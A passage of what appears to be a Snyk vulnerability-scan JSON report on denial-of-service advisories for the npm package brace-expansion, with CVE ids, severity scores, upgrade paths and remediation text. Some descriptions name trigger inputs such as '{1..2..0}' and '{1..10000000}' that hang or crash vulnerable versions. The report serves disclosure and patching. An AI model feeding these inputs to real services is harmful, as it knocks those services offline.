2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max 